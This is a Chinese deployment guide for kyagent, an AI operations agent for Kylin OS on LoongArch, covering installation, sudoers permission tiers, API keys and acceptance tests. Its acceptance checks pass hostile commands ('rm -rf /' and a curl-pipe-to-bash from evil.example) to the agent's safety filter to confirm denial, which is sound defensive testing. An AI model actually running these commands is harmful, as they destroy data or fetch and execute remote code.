

kyagent 软件安装包及部署文档

赛题：A2「面向麒麟操作系统的安全智能运维 Agent」 作品：kyagent 目标平台：LoongArch64 Linux + 麒麟高级服务器版 V11 文档版本：v1.2 本文档以随附安装包 [release/kyagent-release.tar.gz](#) 为准，配套参考 [docs/deployment/loongarch.md](#)、[docs/deployment/web.md](#)、[docs/deployment/permissions.md](#)。

1. 安装包说明

本安装包为 [release/kyagent-release.tar.gz](#)，约 4.8 MB、371 个条目，是纯源码交付：不含预编译二进制、不含 `.pyc`、不含任何密钥。解包后得到单一顶层目录 `kyagent/`：

```
tar xzf kyagent-release.tar.gz    # 解出 kyagent/
cd kyagent
```

目录结构：

目录/文件	内容
<code>kyagent/</code>	主程序源码（agent / mcp / safety / executor / audit / rca / web / cli 等）
<code>scripts/</code>	安装器、sudoers 脚本、Web 启动脚本、OS 层写操作包装器
<code>configs/</code>	<code>default.yaml</code> 、 <code>deepseek.yaml</code> 、 <code>qwen.yaml</code> 、 <code>openai.yaml</code> 、 <code>intent-rules.yaml</code> 、 <code>safety-rules.yaml</code> 、 <code>rca-playbooks.yaml</code> 、 <code>sudoers.kyagent</code>
<code>requirements*.txt</code>	<code>requirements.txt</code> 、 <code>requirements-loongarch.txt</code> 、 <code>requirements-loongarch-web.txt</code> 、 <code>requirements-dev.txt</code>
<code>pyproject.toml</code>	包元数据（name=kyagent, version=0.1.0, 团队 别跟我做对, python>=3.10）
<code>README.md</code> / <code>AGENT.md</code>	最短启动入口与项目说明
<code>docs/</code>	部署、架构、安全模型、状态，以及 比赛提交/ 六件套（含同名 PDF）
<code>benchmarks/</code>	RealOps 评测（ <code>suite.yaml</code> 、 <code>run-suite.sh</code> ）与性能基准（ <code>bench_ask.py</code> ）
<code>tests/</code>	单元/集成测试
<code>FINAL_LOONGARCH_CHECKLIST.md</code>	目标平台实机验收清单

本文档覆盖该安装包的部署。其余提交项（演示 PPT、≤7 分钟演示视频）单独准备，不在包内。重新生成安装包的命令见附录 A。

2. 运行环境要求

项	要求
架构	LoongArch64（兼容 x86_64 / aarch64 测试环境）
操作系统	麒麟高级服务器版 V11（兼容 Kylin V10 / UOS / Loongnix Old World 保守路径）
Python	3.10–3.13，需 <code>venv</code>
系统命令	<code>sudo</code> 、 <code>lsof</code> 、 <code>iproute</code> (ss)、 <code>iputils</code> (ping)、 <code>systemd</code> 、 <code>gcc/make</code> 等
可选命令	<code>smartctl</code> <code>crontab</code> <code>aureport</code> <code>aide</code> <code>dmidecode</code> <code>iptables</code> <code>nft</code> <code>iostat</code> <code>lsblk</code> <code>findmnt</code> <code>lsattr</code> <code>debsums</code> <code>kysec_getenforce</code> <code>getenforce</code> <code>sestatus</code>
网络	接真实 LLM 时需可访问 DeepSeek API；离线演示用 mock

四个关键位置：

路径	作用
<code>/opt/kyagent</code>	生产部署目录， <code>kyagent</code> 用户需能读取
<code>/etc/kyagent/env</code>	生产启动配置（环境变量 + LLM key）
<code>/var/lib/kyagent</code>	审计 SQLite DB / plan DB
<code>/var/log/kyagent</code>	审计 JSONL 日志

不要从 `/home/<user>/...` 私有目录用 `sudo -u kyagent` 启动，会触发 `Permission denied`。

3. 依赖边界（零 Rust 路径）

默认路径零 Rust，避免 LoongArch Old World 上难装的 native/Rust 依赖：

- `pydantic>=1.10.13,<2`（避开 `pydantic-core` Rust）；安装器用 `SKIP_CYTHON=1` + `--no-binary pydantic` 固定纯 Python。
- `PyYAML>=6.0.1,<7`：C 扩展失败时回落纯 Python loader。
- `httpx>=0.23.0,<0.28`、`typer>=0.12`、`rich>=13.7`、`prompt_toolkit>=3.0,<4`。
- LLM 走 `deepseek_httpx`（纯 httpx），不安装 `openai`、`anthropic`、`mcp`、`jiter`、`pydantic-core`。
- Web extra： `fastapi>=0.95,<0.100`、`uvicorn>=0.23,<0.30`，不安装 `uvicorn[standard]`。

不要在 LoongArch Old World 安装 `.[openai]`、`.[anthropic]` 或 `.[mcp]`，这些适合 x86_64/aarch64 或 New World 环境。

4. 安装步骤（一键链路）

4.1 解压到生产目录

安装器在所在目录就地安装（在该目录下创建 `.venv`），运行账户 `kyagent` 必须能读取该目录，因此把安装包解压到 `/opt`：

```
# 在交付包 kyagent-release.tar.gz 所在目录执行（若包在 release/ 子目录，写成 release/kyagent-release.tar.gz）
sudo tar xzf kyagent-release.tar.gz -C /opt # 得到 /opt/kyagent
sudo chown -R root:root /opt/kyagent # 规范属主：root 拥有、保持目录 0755 世界可读（kyagent 仍能读）
cd /opt/kyagent
```

root 解包默认 `--same-owner`，会按归档内 uid 还原属主（在打包者 uid 与目标机不一致时可能错配）；上面的 `chown` 把属主统一为 `root` 并保持世界可读，`kyagent` 账户照常只读运行。

不要解压到 `/home/<user>/...` 私有目录后用 `sudo -u kyagent` 启动，安装器会在 `verify_runtime_prefix_access` 阶段直接报 `Permission denied`。

4.2 先 dry-run

```
sudo bash scripts/install-loongarch.sh --dry-run --yes
```

4.3 正式安装（含 Web）

```
sudo bash scripts/install-loongarch.sh --yes --with-web
```

`install-loongarch.sh` 依次执行（与脚本 `main()` 一一对应）：

1. `detect_arch`：读 `uname -s/-m`、`kernel`、`glibc`，识别 LoongArch 及 Old World / New World；非龙芯 Linux 继续走保守路径。
2. `install_system_packages`：用 `dnf/yum` 或 `apt` 安装 Python、`pip`、`venv`、`gcc/g++/make`、`openssl/libffi` 开发库、`sudo`、`lsf`、`iproute`、`iputils`、`systemd`。
3. `report_optional_commands`：盘点可选命令（`smartctl/crontab/aureport/aide/dmidecode/iptables/nft` 等），缺失的对应 MCP 工具暂不可用；`--command-inventory competition|strict` 时缺命令会直接终止。
4. `detect_python`：选用 Python 3.10–3.13 且含 `venv` 的解释器。
5. `create_venv_and_install`：建 `.venv`；升级 `pip/setuptools/wheel`；`SKIP_CYTHON=1 --no-binary pydantic` 强制装纯 Python `pydantic v1`；`SKIP_CYTHON=1 --no-binary PyYAML,pydantic -r requirements-loongarch.txt`；`pip install --no-deps -e .`（带 `--with-web` 再装 `requirements-loongarch-web.txt` 与 `--no-deps -e ".[web]"`）；最后 `pip freeze` 审计，命中 `openai/anthropic/mcp/jiter/pydantic-core` 立即终止。
6. `setup_sudoers_and_dirs`：调用 `setup-sudoers.sh` 创建受限账户 `kyagent`、写 `/etc/sudoers.d/kyagent`、建审计目录，并 `visudo -cf` 校验。
7. `verify_runtime_prefix_access`：确认 `kyagent` 账户能读安装目录，否则报错要求改放 `/opt/kyagent`。
8. `write_env_file`：生成 `/etc/kyagent/env`（0640 root:kyagent），并自动生成 `/etc/kyagent/audit-hmac.key`（`openssl rand -hex 32`，0640）。
9. `run_selfcheck`：`import` 自检（断言 `pydantic` 走纯 Python 路径）、`kyagent tools list`、`kyagent safety test "rm -rf /"`、受限账户自检；带 `--run-deepseek-check` 时再发一次真实 DeepSeek 请求。

命令库存模式（可选）：

```
sudo bash scripts/install-loongarch.sh --yes --command-inventory best-effort
sudo bash scripts/install-loongarch.sh --yes --command-inventory competition
sudo bash scripts/install-loongarch.sh --yes --command-inventory strict
```

`install-loongarch.sh` 常用参数（按需组合，`--help` 查看全量）：

参数	作用
<code>--yes</code>	非交互，不再逐步确认
<code>--dry-run</code>	只打印将执行的动作，不改系统
<code>--with-web</code>	追加安装 FastAPI/uvicorn Web extra
<code>--command-inventory best-effort competition strict</code>	可选命令缺失时的处理档位（strict/competition 缺命令即终止）
<code>--prefix PATH</code>	安装目录（默认安装包所在目录；生产为 <code>/opt/kyagent</code> ）
<code>--user NAME</code>	运行账户名（默认 <code>kyagent</code> ）
<code>--python PATH</code>	指定 Python 3.10–3.13 解释器
<code>--deepseek-key-file FILE</code>	安装时即从文件读取 <code>DEEPSEEK_API_KEY</code> 写入 env（不暴露在进程参数）
<code>--run-deepseek-check</code>	selfcheck 阶段额外发一次真实 DeepSeek 请求
<code>--service-allowlist a.service,b.service</code>	预置允许 restart/reload 的业务服务（透传给 sudoers）
<code>--skip-system-packages</code>	跳过 dnf/yum/apt 装系统包（系统已就绪时用）
<code>--skip-sudoers</code>	跳过创建账户/sudoers/审计目录（分步部署时用）
<code>--offline</code> + <code>--wheelhouse DIR</code>	无外网评测环境：从本地 wheelhouse 离线安装（详见 docs/deployment/loongarch.md ）

5. sudoers 三档权限切换

三档都写入 `/etc/sudoers.d/kyagent`，后执行覆盖前一档：

```
# 最小只读基线（默认正式安全模型）
sudo bash scripts/setup-sudoers.sh

# 生产预设（预开常见写操作，固定命令 + 锚定参数正则）
sudo bash scripts/kyagent.sh permissions-prod --yes

# 极限测试（NOPASSWD:SETENV: ALL，仅开发极限测试，禁生产长期保留）
sudo bash scripts/setup-sudoers-max-test.sh --yes
```

验证：

```
sudo visudo -cf /etc/sudoers.d/kyagent
sudo -l -U kyagent
```

写操作显式授权（opt-in，按需在重跑 `setup-sudoers.sh` 时设置）：

```
sudo env KYAGENT_ENABLE_LOG_CLEAN=1      bash scripts/kyagent.sh permissions # 日志清理 (kyagent-log-
clean/file-delete)
sudo env KYAGENT_ENABLE_PKG_MGMT=1       bash scripts/kyagent.sh permissions # 包管理 (dnf/yum
install/update/clean)
sudo env KYAGENT_ENABLE_PROC_KILL=1      bash scripts/kyagent.sh permissions # 进程终止 (kill -TERM/-KILL/-
HUP/-INT <pid>)
sudo env KYAGENT_ENABLE_RUNTIME_STALE=1  bash scripts/kyagent.sh permissions # 陈旧锁/socket 清理 (kyagent-
lock-stale/unix-socket-stale)
sudo env KYAGENT_ENABLE_CRON_DISABLE=1   bash scripts/kyagent.sh permissions # cron.d 禁用 (kyagent-cron-
disable)
sudo env KYAGENT_ENABLE_LOG_PERMISSIONS=1 bash scripts/kyagent.sh permissions # 日志目录权限收紧 (kyagent-log-
dir-perms)
sudo env KYAGENT_SERVICE_ALLOWLIST=nginx.service,sshd.service \
    bash scripts/kyagent.sh permissions # 业务服务 restart/reload
sudo env KYAGENT_PKG_REMOVE_ALLOWLIST=telnet,ftp \
    bash scripts/kyagent.sh permissions # 卸载固定包
```

六个 `KYAGENT_ENABLE_*` 开关默认全关（最小只读基线）；生产预设 `permissions-prod` 会把它们默认打开。开关与 § 11 的 OS 层包装器一一对应，每项都是固定命令 + 锚定参数正则，绝不放行裸 `systemctl` / `rm` / `chmod`。可组合多项在同一次 `permissions` 调用里设置。

不要写 `kyagent ALL=(ALL) NOPASSWD: ALL`，也不要粗放放行整个 `systemctl`，否则破坏赛题要求的“最小权限代理执行”。脚本拒绝把 `kernel`、`systemd`、`glibc`、`openssh-server`、`sudo` 等关键包加入卸载 allowlist。

6. API Key 配置

key 只从环境变量读取，用 key 文件注入，避免出现在进程参数里：

```
sudo sh -c 'printf "%s\n" "your-deepseek-api-key" > /root/deepseek.key'
sudo chmod 600 /root/deepseek.key
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env --deepseek-key-file /root/deepseek.key
```

安装器写入的 `/etc/kyagent/env`（0640 root:kyagent）包含：

```
KYAGENT_CONFIG=/opt/kyagent/configs/deepseek.yaml
KYAGENT_DEEPSEEK_TRANSPORT=deepseek_httpx
KYAGENT_EXECUTOR_ACCOUNT=kyagent
KYAGENT_AUDIT_DB=/var/lib/kyagent/audit.db
KYAGENT_AUDIT_JSONL=/var/log/kyagent/audit.jsonl
KYAGENT_PLAN_DB=/var/lib/kyagent/plans.db
KYAGENT_AUDIT_INTEGRITY_ENABLED=1
KYAGENT_AUDIT_HMAC_KEY_FILE=/etc/kyagent/audit-hmac.key
KYAGENT_AUDIT_HMAC_KEY_ID=local-v1
DEEPSEEK_API_KEY=sk-...      # 提供 key 时写入，否则留 `# DEEPSEEK_API_KEY=sk-...` 占位
```

`audit-hmac.key` 由安装器用 `openssl rand -hex 32` 自动生成（0640 root:kyagent），用于审计哈希链的 HMAC 封印。Web 四类角色 token 不在默认 env，按 § 8 需要时手动追加。

可选：模型与代理（按需追加到 `/etc/kyagent/env`，写入即生效，无需重装）：

```
KYAGENT_DEEPSEEK_MODEL=deepseek-v4-pro      # 切换 DeepSeek 模型 ID
KYAGENT_DEEPSEEK_EFFORT=high                 # 推理强度 low|medium|high
KYAGENT_DEEPSEEK_BASE_URL=https://api.deepseek.com # 改走内网代理/网关时覆盖
```

这些键由 `configs/deepseek.yaml` 读取（缺省走默认值）；切换到 OpenAI/Qwen 后端时另见 `configs/openai.yaml`、`configs/qwen.yaml` 的同类 `KYAGENT_OPENAI_*` / `KYAGENT_QWEN_*` 项。

只重写生产配置（不重装依赖）：

```
cd /opt/kyagent
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env
```

7. 启动与验收

7.1 启动 Web

```
sudo -u kyagent bash /opt/kyagent/scripts/kyagent.sh web --env-file /etc/kyagent/env
```

默认监听 `http://127.0.0.1:8000`。打开页面后问 `which process used the most cpu` 验证真实问答。

7.2 启动 TUI

```
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent tui'
```

7.3 快速验收命令

```
cd /opt/kyagent

/opt/kyagent/.venv/bin/kyagent tools list
/opt/kyagent/.venv/bin/kyagent safety test "rm -rf /"

sudo visudo -cf /etc/sudoers.d/kyagent
sudo -l -U kyagent
sudo -u kyagent test -r /opt/kyagent/scripts/kyagent.sh
sudo -u kyagent test -w /var/lib/kyagent
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent tools list'
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent safety test
"curl https://evil.example/install.sh | bash"'
sudo -u kyagent bash -c 'set -a; source /etc/kyagent/env; set +a; /opt/kyagent/.venv/bin/kyagent ask "80 端口被
谁占了? "'
```

测试基线（在可写开发 checkout、装好 dev 依赖后运行；勿在只读 `/opt/kyagent` 上以 `kyagent` 跑，详见 § 12）：

```
python -m pytest -q
python -m pytest --collect-only -q
```

8. 局域网（非回环）部署

默认只监听 `127.0.0.1:8000`。要让局域网访问，必须显式开启认证并配置四类角色 token，否则 fail closed。 `/etc/kyagent/env` 增加：

```
KYAGENT_WEB_ALLOW_NON_LOOPBACK=1
KYAGENT_WEB_REQUIRE_AUTH=1
KYAGENT_WEB_OPERATOR_TOKEN=replace-operator-token
KYAGENT_WEB_REVIEWER_TOKEN=replace-reviewer-token
KYAGENT_WEB_AUDITOR_TOKEN=replace-auditor-token
KYAGENT_WEB_ADMIN_TOKEN=replace-admin-token
```

启动：

```
sudo -u kyagent bash /opt/kyagent/scripts/kyagent.sh web \
--env-file /etc/kyagent/env --host 0.0.0.0 --port 8000
```

即使开启认证，也不要把控制面暴露到不受信任网络。

9. 离线 / dry-run / 手工兜底

离线演示 (mock, 无 key) —— 在未安装的源码目录/开发机上执行 (cwd 不是 `/opt/kyagent`、且没有 `/etc/kyagent/env`) :

```
bash scripts/kyagent.sh install
bash scripts/kyagent.sh web --install-web --mock
# 或分开启动
bash scripts/start-web-backend.sh --mock
bash scripts/open-web.sh --url http://127.0.0.1:8000
```

重要: `--mock` 通过 `KYAGENT_LLM_BACKEND=mock` 生效, 而该键只被默认配置 `configs/default.yaml` 识别。

- 若已按本文档装到 `/opt/kyagent` : 直接照抄上面命令会有两个坑——(1) 以非 **kyagent** 用户从 `/opt/kyagent` 运行会因审计 DB 被强制定向到 `/var/lib/kyagent` (仅 **kyagent** 可写) 而报 `audit store is not writable` ; (2) 以 **kyagent** 用户运行时会自动 `source /etc/kyagent/env` , 其 `KYAGENT_CONFIG=deepseek.yaml` 的后端由 `KYAGENT_DEEPSEEK_TRANSPORT` 决定, `--mock` 被忽略, 于是**实际仍连真实 DeepSeek**。
- 在已安装机上要真正离线 mock, 显式绕开生产 env 与配置:

```
cd /tmp # 避开 /opt/kyagent 的运行态强制改写
sudo -u kyagent env \
  KYAGENT_CONFIG=/opt/kyagent/configs/default.yaml \
  KYAGENT_LLM_BACKEND=mock \
  KYAGENT_AUDIT_DB=/var/lib/kyagent/audit.db \
  KYAGENT_AUDIT_JSONL=/var/log/kyagent/audit.jsonl \
  bash /opt/kyagent/scripts/start-web-backend.sh --env-file /dev/null --mock
```

dry-run 预览安装动作:

```
sudo bash scripts/install-loongarch.sh --dry-run --yes
```

手工部署兜底 (不能用一键脚本时):

```

sudo dnf install -y python3 python3-pip python3-devel git gcc gcc-c++ make \
    openssl-devel libffi-devel sudo lsof iproute iputils systemd

cd /opt/kyagent
python3.11 -m venv .venv
source .venv/bin/activate
python -m pip install --upgrade "pip>=23" setuptools wheel
SKIP_CYTHON=1 python -m pip install --no-binary PyYAML,pydantic -r requirements-loongarch.txt
python -m pip install --no-deps -e .
python -m pip install -r requirements-loongarch-web.txt
python -m pip install --no-deps -e '[web]'

sudo bash scripts/setup-sudoers.sh
sudo bash /opt/kyagent/scripts/kyagent.sh prod-env

```

修复已有 `.venv`（可能含编译版/更新版 Pydantic）时，先用 LoongArch 约束重装 Pydantic：

```

PYDANTIC_REQ="$(grep -E '^pydantic[<=<~]' requirements-loongarch.txt | head -1)"
SKIP_CYTHON=1 python -m pip install --force-reinstall --no-cache-dir --no-binary pydantic "$PYDANTIC_REQ"

```

离线 wheelhouse：`install-loongarch.sh` 支持离线 wheelhouse 安装，在无外网评测环境可预置 wheel 包后安装（详见 [docs/deployment/loongarch.md](#) 与脚本帮助）。

10. 排障速查

现象	原因	处理
<code>uname -m</code> 不是 <code>loongarch64</code>	非龙芯测试环境	安装器记录架构并继续，默认仍走 LoongArch 轻依赖路径；正式提交前应回到目标平台复核
<code>pip</code> 尝试装 <code>jiter</code> / <code>pydantic-core</code>	装了 SDK extra 或 <code>pydantic v2</code>	删 <code>venv</code> 重跑默认安装；确认 <code>pydantic<2</code>
<code>yaml.h</code> 缺失	PyYAML C 扩展失败回落	最终安装成功即可；可装 <code>libyaml-devel</code> 消除日志
<code>Permission denied</code>	<code>kyagent</code> 读不到目录/配置	放到 <code>/opt/kyagent</code> ， <code>sudo -u kyagent test -r ...</code>
<code>sudo: a password is required</code>	<code>sudoers</code> 未装或命令不在白名单	<code>sudo bash scripts/kyagent.sh permissions</code> 、 <code>sudo -l -U kyagent</code>
写审计失败	审计路径未设或目录不可写	检查 <code>KYAGENT_AUDIT_DB/JSONL</code> 、 <code>/var/lib/kyagent</code> 权限
缺 FastAPI/uvicorn	没装 Web extra	重跑安装器加 <code>--with-web</code>

现象	原因	处理
Web 未自动打开浏览器	无桌面 opener	用脚本打印的 URL 手工访问
pytest 收集报 `TypeError: ... for`	`	<code>python</code> 为 3.9, 不满足 <code>requires-python>=3.10</code>
<code>ruff check</code> . 有未使用 import / 测试风格问题	静态 lint 债	不影响功能验收; 若要提交静态质量截图, 需先清理 lint

11. 脚本与文件参考

脚本	作用
<code>scripts/install-loongarch.sh</code>	LoongArch/Kylin 一键安装器 (dry-run、命令库存、selfcheck)
<code>scripts/install.sh</code>	通用安装入口
<code>scripts/kyagent.sh</code>	统一入口 (install/test/web/chat/tui/tools/permissions/permissions-prod/prod-env)
<code>scripts/setup-sudoers.sh</code> / <code>setup-sudoers-prod.sh</code> / <code>setup-sudoers-max-test.sh</code>	三档 sudoers
<code>scripts/start-web.sh</code> / <code>start-web-backend.sh</code> / <code>open-web.sh</code>	Web 启动与打开
<code>scripts/write-prod-env.sh</code>	写生产环境文件
<code>scripts/developer-quick-test.sh</code>	开发验收一键链路 (最大测试权限)
<code>scripts/kyagent-log-clean</code> / <code>kyagent-file-delete</code> / <code>kyagent-cron-disable</code> / <code>kyagent-cron-trace</code> / <code>kyagent-lock-stale</code> / <code>kyagent-unix-socket-stale</code> / <code>kyagent-log-dir-perms</code>	OS 层写操作安全包装器 (realpath + O_NOFOLLOW + fd 越界判定 + inode 复检)

12. 部署验收清单 (自检)

- ☐ `sudo bash scripts/install-loongarch.sh --yes --with-web` 成功
- ☐ `sudo visudo -cf /etc/sudoers.d/kyagent` 校验通过
- ☐ `sudo -l -U kyagent` 仅显示白名单命令
- ☐ `kyagent tools list` 列出工具集
- ☐ `kyagent safety test "rm -rf /"` 返回 DENY
- ☐ 配置 `DEEPEEK_API_KEY` 后, Web 问 `which process used the most cpu` 返回真实结果
- ☐ `bash scripts/kyagent.sh test` (Python 3.10+) 无 failed, 允许说明性 skipped (实机实测 `926 passed, 3 skipped, 0 failed`)。注意: 测试需 dev 依赖且要重建 editable 包, 应在可写的开发

checkout、由具备写权的账户运行；**不要在**只读的 `/opt/kyagent` 上以 `kyagent` 账户跑（会因无法写 `kyagent.egg-info` 而报错）。生产机只读交付，测试基线在交付前于开发副本完成即可

- ❑ `sudo bash benchmarks/run-suite.sh --setup-permissions-prod --teardown-each`：8 个确定性场景 PERFECT 自动修复；第 9 个 `cron-injection-v1` 注入场景由人工确认接管（识别正确、未自动执行），均不损坏受保护资源
- ❑ `python benchmarks/bench_ask.py` 已运行，并按实际结果更新《05-软件性能测试报告》
- ❑ `FINAL_LOONGARCH_CHECKLIST.md` 中目标平台、真实 LLM、Web、权限、bench、交付包检查均完成
- ❑ 演示结束后 `sudo bash scripts/setup-sudoers.sh` 恢复最小权限

附录 A：重新打包（维护者用）

安装包在仓库上一级目录用 `tar` 生成，排除虚拟环境、构建/缓存产物、版本库、运行态数据与密钥：

```
cd /home/<user>
tar \
  --exclude='kyagent/.venv' --exclude='*/__pycache__' --exclude='*.pyc' \
  --exclude='kyagent/.pytest_cache' --exclude='kyagent/pytest_tmp_run' \
  --exclude='kyagent/.git' --exclude='kyagent/var' --exclude='kyagent/tmp' \
  --exclude='kyagent/release' --exclude='kyagent/dist' --exclude='*.tar.gz' \
  --exclude='kyagent/kyagent.egg-info' --exclude='kyagent/.ruff_cache' \
  --exclude='kyagent/fail_analysis' --exclude='kyagent/study' \
  --exclude='kyagent/kyagent.json' --exclude='*.env' --exclude='*.key' \
  -czf kyagent-release.tar.gz kyagent/
```

打包后核对：包内无 `kyagent.json`、`.env`、`*.key`、`var/`、`tmp/`、`.git/`，无 `kyagent.egg-info/`、`.ruff_cache/` 等构建/缓存产物。DeepSeek key 只保留在目标机 `/root/deepseek.key` 或 `/etc/kyagent/env`，不进入交付压缩包。